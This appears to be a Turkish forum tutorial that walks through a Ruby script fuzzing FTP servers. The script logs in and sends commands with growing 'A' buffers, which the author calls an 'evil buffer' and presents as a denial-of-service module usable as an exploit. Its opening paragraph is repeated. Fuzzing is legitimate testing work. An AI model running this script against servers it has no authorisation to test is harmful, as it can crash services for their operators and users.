Merhaba ben Bunjo, bu konuda da "FTP" servislerine yönelik fuzzing işlemi gerçekleştiren bir modül yazacağız.
Not: Bu konuda üst düzey exploitler geliştirmiyorum, burada exploitten kasıtım sistemde bir açığı kullanmak
burada da bir ftp sunucusunun yavaş çalışmasını kullanarak bir devre saldırı modülü yazdım,
bazı yerlerde bu konu exploit olarak geçmeyebilir fakat dediğim gibi bu durumda exploit olarak kullanabilirsiniz
bende bu yüzden bu konuya da değineceğim.
"Fuzzer" kavramını ne olduğunu bilmiyorsanız bu makaleden tıkla bana araştırıp öğrenebilirsiniz
1- Kütüphaneyi aktaralım
2- Çıktı renklendirmesi için kısayol
3- ARGV ile kullanıcıdan girdi alalım
Not: Bu konuda üst düzey exploitler geliştirmiyorum, burada exploitten kasıtım sistemde bir açığı kullanmak
burada da bir ftp sunucusunun yavaş çalışmasını kullanarak bir devre saldırı modülü yazdım,
bazı yerlerde bu konu exploit olarak geçmeyebilir fakat dediğim gibi bu durumda exploit olarak kullanabilirsiniz
bende bu yüzden bu konuya da değineceğim.
"Fuzzer" kavramını ne olduğunu bilmiyorsanız bu makaleden tıkla bana araştırıp öğrenebilirsiniz
1- Kütüphaneyi aktaralım
Ruby:
require 'socket' # kütüphaneyi aktardık
2- Çıktı renklendirmesi için kısayol
Ruby:
class String # Renklendirmek için kısayol
def red; colorize(self, "\e[31m"); end
def green; colorize(self, "\e[32m"); end
def colorize(text, color_code); "#{color_code}#{text}\e[0m" end
end
RED = "|+|".red # çıktı güzel olsun diye RED adlı sabit oluşturduk
3- ARGV ile kullanıcıdan girdi alalım
Ruby:
host = ARGV[0] || "host" # Host'u kullanıcıdan al
port = ARGV[1] || 21 # Port değerini kullanıcıdan al
4- CMD ve Buffer kodları
Ruby:
codes = [
"MKD","ACCL","TOP","CWD","STOR","STAT",
"LIST","RETR","NLST","LS","DELE",
"RSET","NOOP","UIDL","USER","APPE"] # ftp komutları
buffer_code = ["A"] # istediğinizi yazabilirsiniz.
counter = 1 # başlangıçta 1 olarak başlattık
5- Döngü ile kod yollama
Ruby:
codes.each do |code| # her kod için döngü oluşturduk
buffer_code.each do |buf|
while buffer_code.length <= 40
buffer_code << "A" * counter
counter += 100 # her seferde buffer kodunu 100 artırdık
end
socket = TCPSocket.open(host, port) # host ve port değeri için bağlantı açıyoruz
socket.recv(1024) # 1024 byte yeterli olacaktır
socket.send("USER ftp\r\n", 0)
socket.recv(1024)
socket.send("PASS ftp\r\n", 0)
socket.recv(1024)
puts RED + " Sending " + "#{code} ".green + "Command with " + "#{buf.size} bytes ".green + "Evil buffer" + "."
socket.send(code + " " + buf + "\r\n", 0) # kötü amaçlı kodu yolladık
socket.recv(1024)
socket.send("QUIT\r\n", 0)
socket.close
end
end
Son düzenleme: